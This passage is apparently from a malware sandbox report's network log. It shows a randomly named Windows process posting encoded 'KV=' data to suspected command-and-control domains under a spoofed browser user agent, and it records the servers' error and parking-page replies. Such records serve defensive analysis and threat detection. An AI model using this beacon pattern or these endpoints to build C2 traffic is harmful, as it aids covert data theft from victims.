Nov 20, 2024 16:55:16.826105118 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Wed, 20 Nov 2024 15:55:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O4CQOFe7mW%2B1r46Ih3LNUNoirJIDUqv%2FSxIp51caoUubn%2BPUy7aBy8iQAbpPDEYPz4oi%2F5T4vPdk0n7MdoZ9ceDTGh3OfHwwUeIRCrYBoTxYDYmD%2BgjzhlHLNamjJPZfk4kvKSXiWLFuvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e599f9469f70f91-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1653&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome f
Nov 20, 2024 16:55:16.826212883 CET	98	IN	Data Raw: 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 Data Ascii: riendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49962	172.67.220.36	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:18.301808119 CET	1828	OUT	POST /jt56/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.supernutra01.online Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/jt56/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 36 4e 71 6a 49 2b 76 79 6b 48 78 31 33 37 37 73 67 2f 47 69 67 50 68 37 61 53 4c 63 47 4f 33 4d 78 6e 70 71 58 45 43 6e 44 73 71 4a 71 46 41 30 41 45 6a 46 76 43 79 67 32 65 6a 6f 44 38 56 6b 75 37 68 53 38 4a 38 66 6e 6f 62 43 70 44 76 74 42 5a 64 4f 65 67 39 54 78 69 34 7a 56 2b 36 5a 55 37 75 34 68 4d 39 63 49 65 6d 7a 79 54 53 41 46 37 34 65 63 35 6b 69 2f 2f 55 6e 4f 71 4d 61 79 38 4f 59 6d 4d 4d 6d 39 38 4b 54 61 53 58 42 34 46 57 6a 4b 6b 4f 78 39 6f 2b 47 2f 36 63 73 68 5a 7a 73 2f 42 73 43 77 68 58 56 4c 48 30 66 71 67 49 42 2f 7a 4a 5a 4c 4b 2f 48 67 34 59 4d 2b 5a 71 30 35 54 55 4c 66 70 33 6e 54 54 69 64 33 74 42 31 71 4b 45 56 37 43 67 61 50 57 73 53 51 4d 39 72 47 36 78 41 75 32 38 69 69 42 41 34 50 33 51 35 71 64 4b 47 47 38 2b 6e 2f 58 71 58 67 56 79 2b 39 37 69 56 7a 6f 36 67 6f 49 4b 50 73 6b 73 52 76 79 62 73 5a 34 2f 49 7a 57 2f 47 49 63 69 66 4e 47 64 7a 50 44 44 6e 46 4c 6a 75 56 51 6b 48 6b 65 5a 70 54 31 6b 66 32 6d 72 35 49 45 54 36 47 77 78 2f 6a 41 66 4f 44 79 31 [TRUNCATED] Data Ascii: KV=6NqjI+vykHx1377sg/GigPh7aSLcGO3MxnpqXECnDsqJqFA0AEjFvCyg2ejoD8Vku7hS8J8fnobCpDvtBZdOeg9Txi4zV+6ZU7u4hM9cIemzyTSAF74ec5ki//UnOqMay8OYmMMm98KTaSXB4FWjKkOx9o+G/6cshZzs/BsCwhXVLH0fqgIB/zJZLK/Hg4YM+Zq05TULfp3nTTid3tB1qKEV7CgaPWsSQM9rG6xAu28iiBA4P3Q5qdKGG8+n/XqXgVy+97iVzo6goIKPsksRvybsZ4/IzW/GIcifNGdzPDDnFLjuVQkHkeZpT1kf2mr5IET6Gwx/jAfODy1ZHuvWpW/4SVaLVWhsorbcjPJXcLKdrz5jcpd1vuzEiVJk6yDqISJpD51zl5gfRwmrKdqvby640qT3edJf1lyasXESyT6OevZxDRzECVwQ9dXOtDVc+BO718k7PdmlNGWRuG2UpyEbvRRmmyYZGWSRg+pkRJaPb7EsayskW+AySFHcqJuJP1bdzG2O4478gShEw4JtV/oZAQOuFhHvE7zEMaEff7WO4/7XDxXG/KYa03cIDLyoFKbZB/JomjKJWi39J/m1A7BEtzT0UALxiGN4dDo4RxxmgJnC+lUZmQ1L39fJLFLqajNDt27cmm1RIIsiEbNxraYIdnJR5azIFQ/f4Cc07EWlNyNehJ2SO4Bu+4jkgNfH46KDBeclyzOlY2GpgoEkjvaVIhx4Sjgs773rcicZxCZaaLVMGQOAt29KDLwPsOwo1nX5spRBv+vjVe0ER9Exr88f6Jx4VYvtuNogiKbkXEoxtIHknSdcVZ2x+2HcsaqoclI1f9Svc69jsyf+KkWeeRyEeHs3O/PIKNnfEArw/Hx81URjxfpk1nU/2vlCE/+djUehsoUwSItSbHrLEQLcn7/4B3iibIOh7AGqS0ADwWI9upRReNG5R7opbK45Znebkgekg/xgneDHg1+MgzV6iCkwr1xi/k4uiwgym8IVhdGWPpXtN [TRUNCATED]
Nov 20, 2024 16:55:19.682022095 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Wed, 20 Nov 2024 15:55:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DREQm5k%2BY1SFXg%2Fv%2FunIThXphK0oHcKoO8ec1srOJWb0oFBs4BpzvbTQcsp4HHcYn9F3KGqnf1dWw74OLxCspM08BiZAhnUumdS7KDAeHdPYjIwyt7TqoB1PMVoHmRi6Sz55Ec75Z2u36Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e599fa55ed78c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1909&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1828&delivery_rate=0&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome frie
Nov 20, 2024 16:55:19.682040930 CET	95	IN	Data Raw: 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 Data Ascii: ndly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49968	172.67.220.36	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:20.971776962 CET	511	OUT	GET /jt56/?KV=3PCDLLbgpXdI7ZTJtsGfuMg/bmPFCu/6tWsXVWyqAde3py4xBHmx0QKjwMzGHP1esqkhpY0hgYiTwk+VbJ1wfRdswz4Mf7fkXLX0rdEfHuvF7ynYddkbc+A=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.supernutra01.online Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:55:22.299103975 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:55:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 24 Sep 2024 07:18:31 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2BftVcTkRmnMxINz%2Bb6uUdfC2lvS4mvy4dByYt5s9LyfsLJIm3qQfKm0PtQEbSbtyfTgZNOSih3nZq9eR3gdeDiyQbzAfodH5j56sR3Llp%2FUWopHcSHEfUtDanla01kGfheWWbhlTdH5Sw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e599fb5d9790ca0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3067&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=511&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 61 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 [TRUNCATED] Data Ascii: 16a0<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block
Nov 20, 2024 16:55:22.299236059 CET	1236	IN	Data Raw: 7d 2e 6d 61 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c Data Ascii: }.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Robo
Nov 20, 2024 16:55:22.299252987 CET	1236	IN	Data Raw: 65 3b 74 6f 70 3a 2d 32 34 30 70 78 3b 72 69 67 68 74 3a 2d 33 36 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 20 2e 73 76 67 2d 74 77 6f 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f Data Ascii: e;top:-240px;right:-360px;z-index:-1}.window-main .svg-two{position:absolute;bottom:-258px;left:-223px;z-index:-1}.window-main__title{text-align:center;padding-bottom:1.875rem;position:relative;font-weight:500;line-height:1.2777777778}.window-
Nov 20, 2024 16:55:22.299267054 CET	1236	IN	Data Raw: 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 38 37 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 3a Data Ascii: dow-main__item{padding-left:.875rem}}@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{pad
Nov 20, 2024 16:55:22.299279928 CET	1236	IN	Data Raw: 2e 37 38 30 34 38 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 Data Ascii: .7804878049vw ,3.75rem)){.window-main{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:calc(1.5rem + 2.25*(100vw
Nov 20, 2024 16:55:22.299292088 CET	438	IN	Data Raw: 6d 29 2f 20 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 Data Ascii: m)/ 25.625)}}@supports (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:clamp(1.5rem ,1.207317073
Nov 20, 2024 16:55:22.301678896 CET	1236	IN	Data Raw: 31 37 30 65 0d 0a 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 6c 69 73 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 2e 35 36 32 35 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b 20 2e 34 38 37 38 30 Data Ascii: 170eem)){.window-main__list{padding-left:clamp(.5625rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125
Nov 20, 2024 16:55:22.301852942 CET	1236	IN	Data Raw: 68 3d 22 36 33 30 22 20 68 65 69 67 68 74 3d 22 38 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 33 30 20 38 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 Data Ascii: h="630" height="812" viewBox="0 0 630 812" fill="none" xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 25
Nov 20, 2024 16:55:22.301866055 CET	1236	IN	Data Raw: 75 6e 64 49 6d 61 67 65 46 69 78 22 20 72 65 73 75 6c 74 3d 22 73 68 61 70 65 22 20 2f 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 47 61 75 73 73 69 61 6e 42 6c 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 32 34 22 20 72 65 73 75 6c 74 3d 22 Data Ascii: undImageFix" result="shape" /><feGaussianBlur stdDeviation="124" result="effect1_foregroundBlur_2001_5" /></filter><filter id="filter1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUnits="use
Nov 20, 2024 16:55:22.302012920 CET	1236	IN	Data Raw: 74 22 3e 0a 09 09 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 22 3e 59 6f 75 72 20 64 6f 6d 61 69 6e 20 69 73 20 70 6f 69 6e 74 65 64 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 2c 20 62 75 74 Data Ascii: t"><li class="window-main__item">Your domain is pointed to the server, but there is no site with that domain name on the server.</li><li class="window-main__item">You are accessing the site via HTTPS, but the site does not have
Nov 20, 2024 16:55:22.309984922 CET	971	IN	Data Raw: 22 23 30 31 33 46 39 33 22 20 2f 3e 0a 09 09 09 09 09 09 3c 2f 67 3e 0a 09 09 09 09 09 09 3c 64 65 66 73 3e 0a 09 09 09 09 09 09 09 3c 66 69 6c 74 65 72 20 69 64 3d 22 66 69 6c 74 65 72 30 5f 66 5f 32 30 30 31 5f 31 30 22 20 78 3d 22 30 2e 37 30 Data Ascii: "#013F93" /></g><defs><filter id="filter0_f_2001_10" x="0.709961" y="208.626" width="510.22" height="580.477" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="Bac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49985	98.124.224.17	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:28.380795002 CET	801	OUT	POST /4bee/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.bookingservice.center Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bookingservice.center Referer: http://www.bookingservice.center/4bee/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 44 55 79 72 41 74 31 36 36 2b 4e 64 46 55 4b 55 54 2b 4f 2b 4e 34 36 49 4c 45 45 78 33 59 4a 45 71 58 41 70 6a 36 2f 4f 45 54 65 46 72 56 2f 35 73 77 72 54 47 41 70 32 4c 6b 73 58 55 32 37 77 6a 78 44 51 37 6a 4d 4a 31 41 46 61 58 58 33 52 4a 36 51 56 74 64 65 4c 6b 6c 59 6c 39 4b 72 76 5a 4a 5a 63 45 44 46 32 46 68 43 38 65 4c 44 70 4d 46 49 66 34 4b 36 75 32 57 54 47 43 74 78 57 68 30 39 70 53 53 35 74 6e 4f 54 6f 41 59 51 48 48 76 68 76 57 5a 2f 75 32 43 73 76 35 70 6b 61 4d 47 67 54 44 6f 6d 7a 4f 4a 50 56 2f 6b 52 32 4d 73 61 2b 73 31 78 61 58 2f 35 34 63 32 79 4e 50 67 3d 3d Data Ascii: KV=DUyrAt166+NdFUKUT+O+N46ILEEx3YJEqXApj6/OETeFrV/5swrTGAp2LksXU27wjxDQ7jMJ1AFaXX3RJ6QVtdeLklYl9KrvZJZcEDF2FhC8eLDpMFIf4K6u2WTGCtxWh09pSS5tnOToAYQHHvhvWZ/u2Csv5pkaMGgTDomzOJPV/kR2Msa+s1xaX/54c2yNPg==
Nov 20, 2024 16:55:29.630335093 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Wed, 20 Nov 2024 15:55:28 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 20, 2024 16:55:29.630358934 CET	218	IN	Data Raw: 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e Data Ascii: <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49993	98.124.224.17	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:31.094716072 CET	821	OUT	POST /4bee/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.bookingservice.center Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bookingservice.center Referer: http://www.bookingservice.center/4bee/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 44 55 79 72 41 74 31 36 36 2b 4e 64 47 33 43 55 55 5a 69 2b 42 49 36 48 45 6b 45 78 69 6f 4a 41 71 58 63 70 6a 34 54 65 46 68 36 46 73 77 44 35 74 78 72 54 44 41 70 32 59 6b 73 53 4b 47 37 42 6a 78 4f 74 37 6a 77 4a 31 41 52 61 58 57 48 52 49 4a 49 57 69 74 65 4a 69 6c 59 6a 67 61 72 76 5a 4a 5a 63 45 44 41 64 46 68 61 38 65 59 62 70 4d 68 6b 63 37 4b 36 